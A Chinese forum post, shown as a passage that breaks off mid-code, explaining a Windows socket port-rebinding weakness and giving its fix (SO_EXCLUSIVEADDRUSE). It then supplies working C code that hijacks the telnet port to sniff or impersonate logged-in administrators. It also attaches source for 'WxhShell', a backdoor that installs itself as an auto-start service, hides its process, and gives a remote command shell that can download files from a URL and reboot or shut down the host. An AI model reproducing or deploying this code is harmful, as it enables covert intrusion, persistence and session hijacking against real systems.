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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TN!8J=sx.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Awy-kou[C  
fP<Tvf  
  saddr.sin_family = AF_INET; iG*@(  
i8t%v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?XOl>IO  
 &ig6\&1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6?GR+;/  
UolsF-U}'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bWU4lPfP  
\[u7y. b  
  这意味着什么?意味着可以进行如下的攻击: =M39I&N  
l`"i'P   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;>%@  
P| c[EUT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $d\]s]}`  
^I2+$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mY!os91KoO  
=SMI,p&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XL SYE   
W:s`;8iM$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ++{,1wY\  
wNQhz.>y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sv}k_6XgY  
?VUW.-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #Xdj:T<*  
MC=pN(l  
  #include Jw"fqr  
  #include L>:YGM"sL  
  #include D3,9X#B=  
  #include    pYXusS7S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }C6RgE.6<  
  int main() ]nmVT~lBe"  
  { =Rv!c+?  
  WORD wVersionRequested; Q)vf>LwC2S  
  DWORD ret; V+04X"  
  WSADATA wsaData; vSyR% j  
  BOOL val; FZdZGK  
  SOCKADDR_IN saddr; CG!7BP\  
  SOCKADDR_IN scaddr; '8RBR%)y  
  int err; VSf<(udGr  
  SOCKET s; Ky:y1\K1^K  
  SOCKET sc; z#DgoA  
  int caddsize; =]Gw9sge@  
  HANDLE mt; 9:[L WT&  
  DWORD tid;   b9 Gq';o  
  wVersionRequested = MAKEWORD( 2, 2 ); 5SOl:{A +  
  err = WSAStartup( wVersionRequested, &wsaData ); c-s A?q#|  
  if ( err != 0 ) { qpjG_G5/  
  printf("error!WSAStartup failed!\n"); .eZsKc-@  
  return -1; Xo,}S\wcn  
  } #H8% BZyV  
  saddr.sin_family = AF_INET; ~6bf-Wg'X  
   ! J7ExfEA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 l:Hm|9UZ  
.A6i?iROe  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); fm u;Pb]r  
  saddr.sin_port = htons(23); VDnN2)Km*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,\".|m1o.  
  { 98 Dg[O  
  printf("error!socket failed!\n"); E![Ye@w  
  return -1; ^/`W0kT  
  } VgBZ@*z(x  
  val = TRUE; 4xYW?s(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {`KRr:w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !t.*xT4W  
  { ]; CTr0  
  printf("error!setsockopt failed!\n"); DERhmJ;>H  
  return -1; V:Z}cfR.7  
  } eG&3E`[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v%|S)^c?:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q`u^ sc  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ja`xG{~Y7i  
#gQaNc?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #.KVT#%~{  
  { %qI.Qw$  
  ret=GetLastError(); ,\]`X7r  
  printf("error!bind failed!\n"); WciL zx/  
  return -1; k/lU]~PE  
  } 39!$x[  
  listen(s,2); p$S\l] ,  
  while(1) f[wA ]&  
  { vGIe"$hNh  
  caddsize = sizeof(scaddr); C]- !u Ly  
  //接受连接请求 JA <Hm.V#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8*$HS.Db'  
  if(sc!=INVALID_SOCKET) gL/D| =  
  { v-utDQT3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D# Gf.c  
  if(mt==NULL) F4R0A6HL  
  { "kdmqvTHK0  
  printf("Thread Creat Failed!\n"); @)^|U"  
  break; X`s6lV%\  
  } <F%c"Rkh  
  } t5M"M{V  
  CloseHandle(mt); 7]J7'!Iz  
  } $URL7hrhU  
  closesocket(s); CW+]Jv]"  
  WSACleanup(); Ow3t2G  
  return 0; K5"8zF)*  
  }   &;x*uG  
  DWORD WINAPI ClientThread(LPVOID lpParam) v9_7OMl/x  
  { o1k X`Eu  
  SOCKET ss = (SOCKET)lpParam; hKjG/g:#G  
  SOCKET sc; 2d60o~ E  
  unsigned char buf[4096]; e$t$,3~  
  SOCKADDR_IN saddr; jl)7Jd  
  long num; FdcmA22k*  
  DWORD val; [ 11D7L%1t  
  DWORD ret; ,qz:(Nr  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =1SG^rp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L\%zNPLS  
  saddr.sin_family = AF_INET; y$Rh$e K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N"zg)MsX  
  saddr.sin_port = htons(23); EvJ<X,Bo  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~!iZn  
  { Acl?w }Y  
  printf("error!socket failed!\n"); JjC& io  
  return -1; J=`2{ 'l  
  } Rk$  
  val = 100; nQm (UN  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d"nms\=p  
  { wV{jJyRl  
  ret = GetLastError(); ;i>(r;ZM  
  return -1; :G8:b.  
  } ]IM/R@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g)**)mz[  
  { n~mP7X%wE7  
  ret = GetLastError(); ]*&`J4i  
  return -1; AK_,$'f  
  } ]ME2V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .`TDpi9OB  
  { mr[+\ 5  
  printf("error!socket connect failed!\n"); yBYZ?gc  
  closesocket(sc); _7bQR7s  
  closesocket(ss); bQ`|G(g-d  
  return -1; TOge!Q>a  
  } n5z";:p  
  while(1) 'u84d=*l  
  { d&owS+B{48  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $MYAYj9r)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0qSf7"3f  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &^hLFd7j/  
  num = recv(ss,buf,4096,0); !M(3[(Ni  
  if(num>0) 1Pp2wpD4iC  
  send(sc,buf,num,0); ?#obNQ"u]  
  else if(num==0) fpA%:V  
  break; o @(.4+2m  
  num = recv(sc,buf,4096,0); m.b}A'GT  
  if(num>0) szw|`S>o  
  send(ss,buf,num,0); ph~ d%/^jI  
  else if(num==0) u$Ty|NBjn  
  break;  oHR@*2b  
  } #DkdFy %`  
  closesocket(ss); LKsK!X  
  closesocket(sc); mrGfu:r  
  return 0 ; =>Q$S  
  } h{/lW#[  
mFx \[S  
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========================================================== pkEx.R)  
Y$<p_X,  
下边附上一个代码,,WXhSHELL QnH;+k ln  
pzFM#   
========================================================== o56UlN  
.qfU^AHA  
#include "stdafx.h" Zk<Y+!  
Cb i;CF\{  
#include <stdio.h> k* e $_  
#include <string.h> WCL#3uYk"  
#include <windows.h> M}\p/r=  
#include <winsock2.h> ,: Z7P@  
#include <winsvc.h> z:)z]6  
#include <urlmon.h> 5}|bDJ$%_  
]wHXrB8vx  
#pragma comment (lib, "Ws2_32.lib") 'X P  
#pragma comment (lib, "urlmon.lib") xO 6$:o-  
i@o'Fc  
#define MAX_USER   100 // 最大客户端连接数 SG{&2G  
#define BUF_SOCK   200 // sock buffer <gLq?~e|A  
#define KEY_BUFF   255 // 输入 buffer V: P   
bS&XlgnKi  
#define REBOOT     0   // 重启 G @8wv J  
#define SHUTDOWN   1   // 关机 Dwbt^{N ^  
/kc @ELl  
#define DEF_PORT   5000 // 监听端口 n^2'O:V s  
FC q&-  
#define REG_LEN     16   // 注册表键长度 rL23^}+^`  
#define SVC_LEN     80   // NT服务名长度 `-yiVUp1:z  
1{$=N 2U  
// 从dll定义API )F3>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rvRIKc|}l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {Z_?7J&z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9|x{z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); * amZ  
4Pkl()\c  
// wxhshell配置信息 :} N;OS_  
struct WSCFG { dCO7"/IHW  
  int ws_port;         // 监听端口 >7(7  
  char ws_passstr[REG_LEN]; // 口令 .-?Txkwb  
  int ws_autoins;       // 安装标记, 1=yes 0=no kB]?95>Wx  
  char ws_regname[REG_LEN]; // 注册表键名 `^'0__<M  
  char ws_svcname[REG_LEN]; // 服务名 3!Cab/T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ot; ]?M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SS7C|*-Zd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D22jWm2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |TRl >1rv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ur JR[$p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VX,@Gp_'m  
CJf4b:SY@  
}; jVInTR0f[  
n|Gw?@CU7  
// default Wxhshell configuration &]jCoBj+_  
struct WSCFG wscfg={DEF_PORT, w|( ix;pK  
    "xuhuanlingzhe", '~n=<Y  
    1, 8ps1Q2|  
    "Wxhshell", _[{oK G^u  
    "Wxhshell", Ch7&9NW  
            "WxhShell Service", ds:&{~7L<T  
    "Wrsky Windows CmdShell Service", nV>=n,+s"  
    "Please Input Your Password: ", 3}x6IM 2  
  1, RWdx) qj{  
  "http://www.wrsky.com/wxhshell.exe", ^Kj xQO6y3  
  "Wxhshell.exe" >gZ"^iW  
    }; qLk7C0  
F ,h}HlU  
// 消息定义模块 4mwLlYZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }cd-BW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >e^8fpgSo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x>[f+Tc  
char *msg_ws_ext="\n\rExit."; \$Aw[ 5&t  
char *msg_ws_end="\n\rQuit."; ^)S<Ha  
char *msg_ws_boot="\n\rReboot..."; @i=_y+|d_  
char *msg_ws_poff="\n\rShutdown..."; uE^5o\To  
char *msg_ws_down="\n\rSave to "; Ie'iAY  
jFG Y`9Zw0  
char *msg_ws_err="\n\rErr!"; ^y2}C$1V  
char *msg_ws_ok="\n\rOK!"; l ^;=0UR_  
*$9Rb2}kK  
char ExeFile[MAX_PATH]; 8 _|"+Ze  
int nUser = 0; G^A}T3  
HANDLE handles[MAX_USER]; R~N'5#.*M  
int OsIsNt; 4$Ud4<  
2,e>gP\]  
SERVICE_STATUS       serviceStatus; z2god 1"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -MuKeCgi  
~5 e 1&  
// 函数声明 q|S,^0cU  
int Install(void); .( X!*J]G  
int Uninstall(void); 2PQY+[jx  
int DownloadFile(char *sURL, SOCKET wsh); =e|  
int Boot(int flag); t[%ELHV  
void HideProc(void); 9}#9i^%}  
int GetOsVer(void); &n9 srs  
int Wxhshell(SOCKET wsl); {IT;g9x  
void TalkWithClient(void *cs); 41^ $  
int CmdShell(SOCKET sock); VCc57 Bo  
int StartFromService(void); iuHs.k<z  
int StartWxhshell(LPSTR lpCmdLine); Z.3*sp0 yv  
$##LSTA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X,ok3c4X  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  "xp>Vj  
P;[>TCs ]8  
// 数据结构和表定义 AN4(]_ ]  
SERVICE_TABLE_ENTRY DispatchTable[] = Na{&aqdz  
{ K?H(jP2mpM  
{wscfg.ws_svcname, NTServiceMain}, 1SY3  
{NULL, NULL} V2BsvR`  
}; 2X|nPhNi  
 H;Cv] -  
// 自我安装 k*o>ZpjNH  
int Install(void) 2br~Vn0N  
{ Ahrtl6@AS  
  char svExeFile[MAX_PATH]; rj-Q+rgup  
  HKEY key; FXo{|z3  
  strcpy(svExeFile,ExeFile); *>J45U(6:  
"<1-9CMl  
// 如果是win9x系统,修改注册表设为自启动 A}z1~Z+  
if(!OsIsNt) { oPC qv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  !AFii:#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fu"@)xw/-q  
  RegCloseKey(key); ;1L7+.A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *}Nh7 >d(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !?J?R-C  
  RegCloseKey(key); :B1a2Y^"  
  return 0; 7oFA5T _  
    } ah|`),o(k  
  } X:d[eAu0  
} P(Z\y^S  
else { <hzuPi@  
A]AM|2 D  
// 如果是NT以上系统,安装为系统服务 ^5 ~)m6=2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 06fs,!Q@  
if (schSCManager!=0) n%I9l]  
{ >&l{_b\k  
  SC_HANDLE schService = CreateService avEsX_.  
  ( !)h?2#V8;  
  schSCManager, =qFDrDt  
  wscfg.ws_svcname, .8/W_iC92  
  wscfg.ws_svcdisp, /<it2=  
  SERVICE_ALL_ACCESS, AW/)R"+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "7_qB8\  
  SERVICE_AUTO_START, SCKpW#2dP{  
  SERVICE_ERROR_NORMAL, hsHtLH+@  
  svExeFile, NK|m7 (  
  NULL, *tL1t\jY  
  NULL, o!}/& '(  
  NULL, {p M3f  
  NULL, Uiu9o]n  
  NULL V SUz+W  
  ); >TddKR @C  
  if (schService!=0) Fa A7m  
  { GN ?1dwI  
  CloseServiceHandle(schService); ?Qdp#K]WX  
  CloseServiceHandle(schSCManager); ]WZi +  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .}DL%E`n  
  strcat(svExeFile,wscfg.ws_svcname); dX ;G [\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Jej-b<HmQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q<!Kt I4  
  RegCloseKey(key); u(P;) E"1  
  return 0; 7T@"2WYat  
    } ~AG."<}  
  } u@$pOLI  
  CloseServiceHandle(schSCManager); W5a>6u=g,  
} TM?7F2  
} i"U<=~  
XIJ{qrDr  
return 1; |4u?Q+k%%  
} 8@'Q=".J  
e \ rb  
// 自我卸载 @iD5X.c  
int Uninstall(void) Rhil]|a/  
{ c0W4<(  
  HKEY key; dI|`"jl#  
B#9T6|2  
if(!OsIsNt) { +yYSp8>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (y{nD~k  
  RegDeleteValue(key,wscfg.ws_regname); _=68iDXm  
  RegCloseKey(key); L}5IX)#gH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {uuvgFC  
  RegDeleteValue(key,wscfg.ws_regname); I6,sN9` K  
  RegCloseKey(key); 6mbHfL>cO  
  return 0; x8wal[6  
  } ,1g*0W^  
} Afq?Ps+  
} ~\D H[Mt  
else { gw`}eA$  
-(YdK8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aok,qn'j  
if (schSCManager!=0) 3O!TVSo  
{ g&6O*vx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _Q3Ad>,U  
  if (schService!=0) WmT(>JBO  
  { Z,bvD'u  
  if(DeleteService(schService)!=0) { |`yzH$,F  
  CloseServiceHandle(schService); ewb/ Z[4  
  CloseServiceHandle(schSCManager); ]VS$ ?wD  
  return 0; =\l7k<  
  } ; (;J  
  CloseServiceHandle(schService); Mb0cdK?hA  
  } 9Ucn 6[W  
  CloseServiceHandle(schSCManager); MOEB{~v`;  
} 3U73_=>=&  
} 9p5{,9.3*  
=#c?g Wb56  
return 1; >4}2~;  
} WxF rqUz  
%aeQL;# V  
// 从指定url下载文件 DG $._  
int DownloadFile(char *sURL, SOCKET wsh) d^<a)>5h  
{ ,Cckp! 6  
  HRESULT hr; wf8GH}2A  
char seps[]= "/"; 7VwLyy  
char *token; P"WnU'+  
char *file; h.W;Dmf6]  
char myURL[MAX_PATH]; );.q:"  
char myFILE[MAX_PATH]; ;qF#!Kb5  
6hs2B5)+  
strcpy(myURL,sURL); j!H\hj/]  
  token=strtok(myURL,seps); `y!6(xI  
  while(token!=NULL)  _,2P4  
  { Nl^{w'X0h  
    file=token; &G>EBKn\2`  
  token=strtok(NULL,seps); L('G1J}  
  } d#9"_{P  
y`EcBf  
GetCurrentDirectory(MAX_PATH,myFILE); Gv,0{DVX<  
strcat(myFILE, "\\"); ]'UO]i/  
strcat(myFILE, file); 2eBA&t  
  send(wsh,myFILE,strlen(myFILE),0); c=T^)~$$  
send(wsh,"...",3,0); o(/(`/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3e g<)  
  if(hr==S_OK) $I7/FZP  
return 0; sgn,]3AUq  
else {&Fh$H!  
return 1; wZECG-jr/  
b:}`O!UBw  
} ZTx~+'(  
 Y@S?0  
// 系统电源模块 /WVnyz0  
int Boot(int flag) <(Wa8PY2(  
{ <M1XG7_I  
  HANDLE hToken; g& *pk5V>  
  TOKEN_PRIVILEGES tkp; X]Emz"   
3?vasL  
  if(OsIsNt) { QJ ueU%|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <~}t;ji  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qG/a5i  
    tkp.PrivilegeCount = 1; t/bDDV"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }V3p <  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _= _]Yx  
if(flag==REBOOT) { 1a)NM#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  kQ$Q}3f  
  return 0; :ji_dQ8k  
} |*N.SS  
else { OjCT*qyU<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +SmcZ^\OZ  
  return 0; byv(:xk|'e  
} HlB'yOHv!  
  } HB$*xS1  
  else { >,`/ z  
if(flag==REBOOT) { Tv0|e'^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z+1#p.F$@  
  return 0; 'A,&9E{%1  
} R.R(|!w>  
else { .e2u)YqA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?r QMOJR  
  return 0; ,sk;|OAI  
} '?5=j1  
} *0y+=,"QU  
3R?7&oXvH  
return 1; 5( lE$&   
} 9jiZtwRpk  
1{%EQhNd  
// win9x进程隐藏模块 ,LXuU8sB  
void HideProc(void) &tKs t,UR8  
{ <}%>a@  
&j/ WjZPF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +b] g;  
  if ( hKernel != NULL ) 6:B[8otQ  
  { :eI .E:/'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vZC2F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x!q$`zF\\  
    FreeLibrary(hKernel); ,SJB 3if  
  } .bvB8VOrW  
^"ywltW>  
return; ~fs{Ff'  
} f3-=?Z  
9c806>]U^  
// 获取操作系统版本 '=x   
int GetOsVer(void) S,vrz!'>A  
{ TD,W*(b  
  OSVERSIONINFO winfo; # 3uXgZi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Wn24eld"x  
  GetVersionEx(&winfo); !wvP 24"y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'r4 j;Jn  
  return 1; K2L+tw  
  else T"t3e=xA  
  return 0; 'R~x.NM  
} '@HWp8+  
s_K:h  
// 客户端句柄模块 [e ;K$  
int Wxhshell(SOCKET wsl) SMgf(N3]  
{ XN]kNJX  
  SOCKET wsh; :SSe0ZZ_6b  
  struct sockaddr_in client; J']1^"_'  
  DWORD myID; &oYX093di  
/g'F+{v  
  while(nUser<MAX_USER) hH{&k>  
{ @g""*T1:$  
  int nSize=sizeof(client); v%V$@MF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^o|igyS9  
  if(wsh==INVALID_SOCKET) return 1; /bVU^vo  
+"T?.,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G F,/<R#  
if(handles[nUser]==0) G[6V=G  
  closesocket(wsh); ?`,UW;Br6  
else iO3@2J  
  nUser++; Tm[IOuhM'?  
  } j$zw(EkN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,jbj-b(  
eqs.zL  
  return 0; 9<P1?Q  
} !3$Ph  
vgHMVzxj  
// 关闭 socket +WK!}xZR  
void CloseIt(SOCKET wsh) NXDdU^w7B  
{ SwG:?T!"}  
closesocket(wsh); (2QFwBW]  
nUser--; //>f#8Ho  
ExitThread(0); +K;(H']Z<-  
} `pm6Ts{,  
A%oHx|PD  
// 客户端请求句柄 e0+N1kY  
void TalkWithClient(void *cs) (<(8(} x  
{ 2>.B*P  
r.[!n)*  
  SOCKET wsh=(SOCKET)cs; v l2!2X  
  char pwd[SVC_LEN]; =wPl;SDf!  
  char cmd[KEY_BUFF];  MI!C%  
char chr[1]; sk$MJSE ~  
int i,j; O@'/B" &  
CG@ LYN  
  while (nUser < MAX_USER) { F%lP<4Vx  
X|7gj &1  
if(wscfg.ws_passstr) { ]U! ?{~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bh"o{-$p8`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,F.\z^\{  
  //ZeroMemory(pwd,KEY_BUFF); $=TFTSO  
      i=0; 3rTYe6q$U  
  while(i<SVC_LEN) { -2w\8]u  
4At%{E  
  // 设置超时 Obrv5 %'  
  fd_set FdRead; Q~#udEajI  
  struct timeval TimeOut; gx#xB8n  
  FD_ZERO(&FdRead); `3SY~&X  
  FD_SET(wsh,&FdRead); W7S`+Pq  
  TimeOut.tv_sec=8; 7P?z{x':T  
  TimeOut.tv_usec=0; 0tC+?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #)tt}GX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7*M+bZ`x  
ckBcwIXlP&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8U*}D~%!  
  pwd=chr[0]; n87B[R  
  if(chr[0]==0xd || chr[0]==0xa) { x;99[C!$  
  pwd=0; +S5"4<  
  break; \d2Ku10v[  
  } ; ob>$ _  
  i++; gb|C592R5C  
    } w{UVo1r:  
C!]hu)E  
  // 如果是非法用户,关闭 socket 35?et-=w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D1;H,  
} D?)91P/R  
,Za!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^0R.'XL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &#F>%~<or  
* h!gjbi  
while(1) { {PnvQ?|Z  
S2kFdx*Zf  
  ZeroMemory(cmd,KEY_BUFF); =[FNZ:3  
200/  
      // 自动支持客户端 telnet标准   kKr7c4q  
  j=0; y>3Zh5=  
  while(j<KEY_BUFF) { ;x$,x-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jv %, v?  
  cmd[j]=chr[0]; \ty{KAc&  
  if(chr[0]==0xa || chr[0]==0xd) { .EM0R\q  
  cmd[j]=0; 0WaC.C+2i  
  break; B?`Gs^Y {z  
  } O[U^{~iM  
  j++; 75u/'0~5  
    } mQhI"3! f  
9i*t3W71]  
  // 下载文件 casva;  
  if(strstr(cmd,"http://")) { P B_ +:S^8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B<u6Z!Pp2  
  if(DownloadFile(cmd,wsh)) *8M 0h9S$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o|*ao2a  
  else l<>syHCH;L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [`BMi-WQ  
  } +)h*)  
  else { __fa,kK{?  
)q 8w+'z  
    switch(cmd[0]) { R?b3G4~  
  1N{}G$'Go  
  // 帮助 5 >S #ew  
  case '?': { l E=(6Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yl/-!  
    break; zRd^Uks  
  } o|YY,G=C  
  // 安装 (/UW}$] h  
  case 'i': { ijEMS1$=7  
    if(Install()) _CO?HX5ek  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hCVe05  
    else N DZ :`D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1@rI4U@D  
    break; v;AsV`g  
    } }:<`L\8q\  
  // 卸载 h+<vWo}H  
  case 'r': { m-Q!V+XQp  
    if(Uninstall()) it.Lh'N;T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UmUw>+A  
    else SR)G!9z_/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yj3j?.JJk  
    break; /'k4NXnW3  
    } [-5%[ty9X  
  // 显示 wxhshell 所在路径 <E/4/ ANN  
  case 'p': { s!(O7Ub  
    char svExeFile[MAX_PATH]; ?f f!(U  
    strcpy(svExeFile,"\n\r"); &*}`uJt  
      strcat(svExeFile,ExeFile); }'L7<_  
        send(wsh,svExeFile,strlen(svExeFile),0); E}LuWFZ&  
    break; 6<X.]"u+E~  
    } R?MRRq  
  // 重启 E w#UlA:"v  
  case 'b': { 44C"Pl E u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }N[|2n R'  
    if(Boot(REBOOT)) r@b M3V_o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W^#HR  
    else { {9:[nqX  
    closesocket(wsh); B3|h$aKC  
    ExitThread(0); O{b<UP'85  
    } sA$x2[*O  
    break; 6a6;]lsG  
    } sdN@ZP  
  // 关机 Wi7!J[ B  
  case 'd': { ~Cc%!4f'  
